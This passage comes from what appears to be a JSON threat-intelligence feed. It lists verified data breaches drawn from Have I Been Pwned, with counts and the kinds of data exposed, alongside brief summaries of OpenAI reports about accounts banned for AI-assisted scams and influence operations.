AI models with websites and social platforms—and what it means for detection and defense.","detail":"Our latest threat report examines how malicious actors combine AI models with websites and social platforms—and what it means for detection and defense.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-25T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-ai-uses"},"sources":[{"name":"OpenAI: Disrupting malicious uses of AI | February 2026","url":"https://openai.com/index/disrupting-malicious-ai-uses","type":"primary","publishedAt":"2026-02-25T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-cargurus","cveId":null,"aliases":["CarGurus"],"kind":"breach","title":"CarGurus breach: 12,461,887 accounts exposed","summary":"In February 2026, the automotive marketplace CarGurus was the target of a data breach attributed to the threat actor ShinyHunters . Following an attempted extortion, the data was published publicly and contained more than 12M email addresses across multiple files including user account ID mappings, finance pre-qualification application data and dealer account and subscription information. Impacted data also included names, phone numbers, physical and IP addresses, and auto finance application outcomes.","detail":"Verified by Have I Been Pwned. Breach date: 2026-02-14; loaded 2026-02-22. Exposed data: Email addresses, IP addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-22T04:43:54.000Z","updatedAt":"2026-02-22T04:43:54.000Z","regions":["Global"],"vendor":"cargurus.com","product":null,"stacks":["Cargurus.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: CarGurus","url":"https://haveibeenpwned.com/Breach/CarGurus","type":"primary","publishedAt":"2026-02-22T04:43:54.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-carmax","cveId":null,"aliases":["CarMax"],"kind":"breach","title":"CarMax breach: 431,371 accounts exposed","summary":"In January 2026, data allegedly sourced from US automotive retailer CarMax was published online following a failed extortion attempt . The data included 431k unique email addresses along with names, phone numbers and physical addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-24; loaded 2026-02-20. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-20T03:48:30.000Z","updatedAt":"2026-02-20T03:48:30.000Z","regions":["Global"],"vendor":"carmax.com","product":null,"stacks":["Carmax.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: CarMax","url":"https://haveibeenpwned.com/Breach/CarMax","type":"primary","publishedAt":"2026-02-20T03:48:30.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-figure","cveId":null,"aliases":["Figure"],"kind":"breach","title":"Figure breach: 967,178 accounts exposed","summary":"In February 2026, data obtained from the fintech lending platform Figure was publicly posted online . The exposed data, dating back to January 2026, contained over 900k unique email addresses along with names, phone numbers, physical addresses and dates of birth. Figure confirmed the incident and attributed it to a social engineering attack in which an employee was tricked into providing access.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-28; loaded 2026-02-18. Exposed data: Dates of birth, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-18T01:11:11.000Z","updatedAt":"2026-02-18T01:11:11.000Z","regions":["Global"],"vendor":"figure.com","product":null,"stacks":["Figure.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Figure","url":"https://haveibeenpwned.com/Breach/Figure","type":"primary","publishedAt":"2026-02-18T01:11:11.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-canadagoose","cveId":null,"aliases":["CanadaGoose"],"kind":"breach","title":"Canada Goose breach: 581,877 accounts exposed","summary":"In February 2026, a data breach allegedly containing data relating to Canada Goose customers was published publicly . The data contained 920k records with 582k unique email addresses and included names, phone numbers, IP addresses, physical addresses and partial credit card data, specifically card type and last 4 digits. Canada Goose advised that the data \"appears to relate to past customer transactions\" and stated that it originated from a breach at a third party in August 2025. The most recent transaction date in the data is July 2025.","detail":"Verified by Have I Been Pwned. Breach date: 2025-07-04; loaded 2026-02-17. Exposed data: Device information, Email addresses, IP addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-17T00:19:51.000Z","updatedAt":"2026-02-17T00:19:51.000Z","regions":["Global"],"vendor":"canadagoose.com","product":null,"stacks":["Canadagoose.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Canada Goose","url":"https://haveibeenpwned.com/Breach/CanadaGoose","type":"primary","publishedAt":"2026-02-17T00:19:51.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-universityofpennsylvania","cveId":null,"aliases":["UniversityOfPennsylvania"],"kind":"breach","title":"University of Pennsylvania breach: 623,750 accounts exposed","summary":"In October 2025, the University of Pennsylvania was the victim of a data breach followed by a ransom demand , largely affecting its donor database. After the incident, the attackers sent inflammatory emails to some victims. The data was later published online in February 2026 and included 624k unique email addresses alongside names and physical addresses. For some donor records, additional personal information was exposed, including gender and date of birth. A small subset of records also contained religion, spouse name, estimated income and donation history.","detail":"Verified by Have I Been Pwned. Breach date: 2025-10-30; loaded 2026-02-16. Exposed data: Charitable donations, Dates of birth, Email addresses, Genders, Income levels, Job titles, Names, Physical addresses, Religions, Salutations, Spouses names. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-16T21:57:51.000Z","updatedAt":"2026-02-16T21:57:51.000Z","regions":["Global"],"vendor":"upenn.edu","product":null,"stacks":["Upenn.edu"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: University of Pennsylvania","url":"https://haveibeenpwned.com/Breach/UniversityOfPennsylvania","type":"primary","publishedAt":"2026-02-16T21:57:51.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-apoiase","cveId":null,"aliases":["APOIAse"],"kind":"breach","title":"APOIA.se breach: 450,764 accounts exposed","summary":"In December 2025, a database of the Brazilian crowdfunding platform APOIA.se was posted to an online forum . In January 2026, the company confirmed it had suffered a data breach. The incident exposed 451k unique email addresses along with names and physical addresses.","detail":"Verified by Have I Been Pwned. Breach date: 2025-12-16; loaded 2026-02-16. Exposed data: Email addresses, Names, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-16T07:31:43.000Z","updatedAt":"2026-02-16T07:31:43.000Z","regions":["Global"],"vendor":"apoia.se","product":null,"stacks":["Apoia.se"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: APOIA.se","url":"https://haveibeenpwned.com/Breach/APOIAse","type":"primary","publishedAt":"2026-02-16T07:31:43.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-toybattles","cveId":null,"aliases":["ToyBattles"],"kind":"breach","title":"Toy Battles breach: 1,017 accounts exposed","summary":"In February 2026, the online gaming community Toy Battles suffered a data breach. The incident exposed 1k unique email addresses alongside usernames, IP addresses and chat logs. Following the breach, Toy Battles self-submitted the data to Have I Been Pwned.","detail":"Verified by Have I Been Pwned. Breach date: 2026-02-06; loaded 2026-02-10. Exposed data: Chat logs, Email addresses, IP addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-10T02:44:47.000Z","updatedAt":"2026-02-10T02:44:47.000Z","regions":["Global"],"vendor":"toybattles.net","product":null,"stacks":["Toybattles.net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Toy Battles","url":"https://haveibeenpwned.com/Breach/ToyBattles","type":"primary","publishedAt":"2026-02-10T02:44:47.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-anps","cveId":null,"aliases":["ANPS"],"kind":"breach","title":"Association Nationale des Premiers Secours breach: 5,600 accounts exposed","summary":"In January 2026, a data breach impacting the French non-profit Association Nationale des Premiers Secours (ANPS) was posted to a hacking forum . The breach exposed 5.6k unique email addresses along with names, dates of birth and places of birth. ANPS self-submitted the data to HIBP and advised the incident was traced back to a legacy system and did not impact health data, financial information or passwords.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-30; loaded 2026-02-10. Exposed data: Dates of birth, Email addresses, Names, Places of birth, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-10T01:27:25.000Z","updatedAt":"2026-02-10T01:27:25.000Z","regions":["Global"],"vendor":"anps.fr","product":null,"stacks":["Anps.fr"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Association Nationale des Premiers Secours","url":"https://haveibeenpwned.com/Breach/ANPS","type":"primary","publishedAt":"2026-02-10T01:27:25.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-substack","cveId":null,"aliases":["Substack"],"kind":"breach","title":"Substack breach: 663,121 accounts exposed","summary":"In October 2025, the publishing platform Substack suffered a data breach that was subsequently circulated more widely in February 2026. The breach exposed 663k account holder records containing email addresses along with publicly visible profile information from Substack accounts, such as publication names and bios. A subset of records also included phone numbers.","detail":"Verified by Have I Been Pwned. Breach date: 2025-10-23; loaded 2026-02-06. Exposed data: Email addresses, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-06T23:33:22.000Z","updatedAt":"2026-02-06T23:33:22.000Z","regions":["Global"],"vendor":"substack.com","product":null,"stacks":["Substack.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Substack","url":"https://haveibeenpwned.com/Breach/Substack","type":"primary","publishedAt":"2026-02-06T23:33:22.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-cyber-special-operations-492428c49822","cveId":null,"aliases":[],"kind":"ai-incident","title":"“Cyber Special Operations”: China-linked influence planning","summary":"OpenAI banned an account linked to an individual associated with Chinese law enforcement, using AI to plan influence activity, harassment, and online operations.","detail":"OpenAI banned an account linked to an individual associated with Chinese law enforcement, using AI to plan influence activity, harassment, and online operations.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-cyber-special-operations"},"sources":[{"name":"OpenAI: “Cyber Special Operations”: China-linked influence planning","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-cyber-special-operations","type":"primary","publishedAt":"2026-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-date-bait-e89556d6b86e","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Date Bait”: AI-enabled scam targeting loveseekers","summary":"OpenAI banned accounts that very likely originated in Cambodia and used AI for scam outreach to Indonesian loveseekers, including translation and engagement.","detail":"OpenAI banned accounts that very likely originated in Cambodia and used AI for scam outreach to Indonesian loveseekers, including translation and engagement.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-date-bait"},"sources":[{"name":"OpenAI: Operation “Date Bait”: AI-enabled scam targeting loveseekers","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-date-bait","type":"primary","publishedAt":"2026-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-false-witness-64025901dc99","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “False Witness”: Fake recovery service impersonating authorities","summary":"OpenAI banned accounts that very likely originated in Cambodia and used AI to pose as recovery services, law firms, and authorities targeting people affected by fraud.","detail":"OpenAI banned accounts that very likely originated in Cambodia and used AI to pose as recovery services, law firms, and authorities targeting people affected by fraud.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-false-witness"},"sources":[{"name":"OpenAI: Operation “False Witness”: Fake recovery service impersonating authorities","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-false-witness","type":"primary","publishedAt":"2026-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-fish-food-ce86571e5671","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Fish Food”: Russia-origin content farm activity","summary":"OpenAI banned accounts linked to the Rybar network, some of which likely originated in Russia, that used AI to support multilingual influence activity across websites and social platforms.","detail":"OpenAI banned accounts linked to the Rybar network, some of which likely originated in Russia, that used AI to support multilingual influence activity across websites and social platforms.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-fish-food"},"sources":[{"name":"OpenAI: Operation “Fish Food”: Russia-origin content farm activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-fish-food","type":"primary","publishedAt":"2026-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-no-bell-34642b29f373","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “No Bell”: Coordinated criticism of the US and allies","summary":"OpenAI banned accounts linked to a previously unreported, likely Russia-origin operation we dubbed \"No Bell\", using AI to produce criticism of the US and its allies for audiences across Africa.","detail":"OpenAI banned accounts linked to a previously unreported, likely Russia-origin operation we dubbed \"No Bell\", using AI to produce criticism of the US and its allies for audiences across Africa.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-no-bell"},"sources":[{"name":"OpenAI: Operation “No Bell”: Coordinated criticism of the US and allies","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-no-bell","type":"primary","publishedAt":"2026-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-romance-scam-60803e59bb76","cveId":null,"aliases":[],"kind":"ai-incident","title":"Romance scams: AI-enabled romance scam workflows","summary":"OpenAI banned accounts using AI to support romance scam workflows, including outreach, translation, victim engagement, and investment-fraud lures.","detail":"OpenAI banned accounts using AI to support romance scam workflows, including outreach, translation, victim engagement, and investment-fraud lures.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-romance-scam"},"sources":[{"name":"OpenAI: Romance scams: AI-enabled romance scam workflows","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-romance-scam","type":"primary","publishedAt":"2026-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-trolling-stone-1c8f0e8bee3d","cveId":null,"aliases":["Trolling"],"kind":"ai-incident","title":"Operation “Trolling Stone”: Russia-linked influence activity","summary":"OpenAI banned accounts linked to a previously unreported operation we dubbed \"Trolling Stone\", using AI to generate comments about an alleged Russian cult leader’s arrest in Argentina.","detail":"OpenAI banned accounts linked to a previously unreported operation we dubbed \"Trolling Stone\", using AI to generate comments about an alleged Russian cult leader’s arrest in Argentina.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-trolling-stone"},"sources":[{"name":"OpenAI: Operation “Trolling Stone”: Russia-linked influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-trolling-stone","type":"primary","publishedAt":"2026-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-panerabread","cveId":null,"aliases":["PaneraBread"],"kind":"breach","title":"Panera Bread breach: 5,112,502 accounts exposed","summary":"In January 2026, Panera Bread suffered a data breach that exposed 14M records . After an attempted extortion failed, the attackers published the data publicly, which included 5.1M unique email addresses along with associated account information such as names, phone numbers and physical addresses. Panera Bread subsequently confirmed that \"the data involved is contact information\" and that authorities were notified.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-07; loaded 2026-01-31. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-01-31T03:19:30.000Z","updatedAt":"2026-01-31T03:19:30.000Z","regions":["Global"],"vendor":"panerabread.com","product":null,"stacks":["Panerabread.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Panera Bread","url":"https://haveibeenpwned.com/Breach/PaneraBread","type":"primary","publishedAt":"2026-01-31T03:19:30.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this 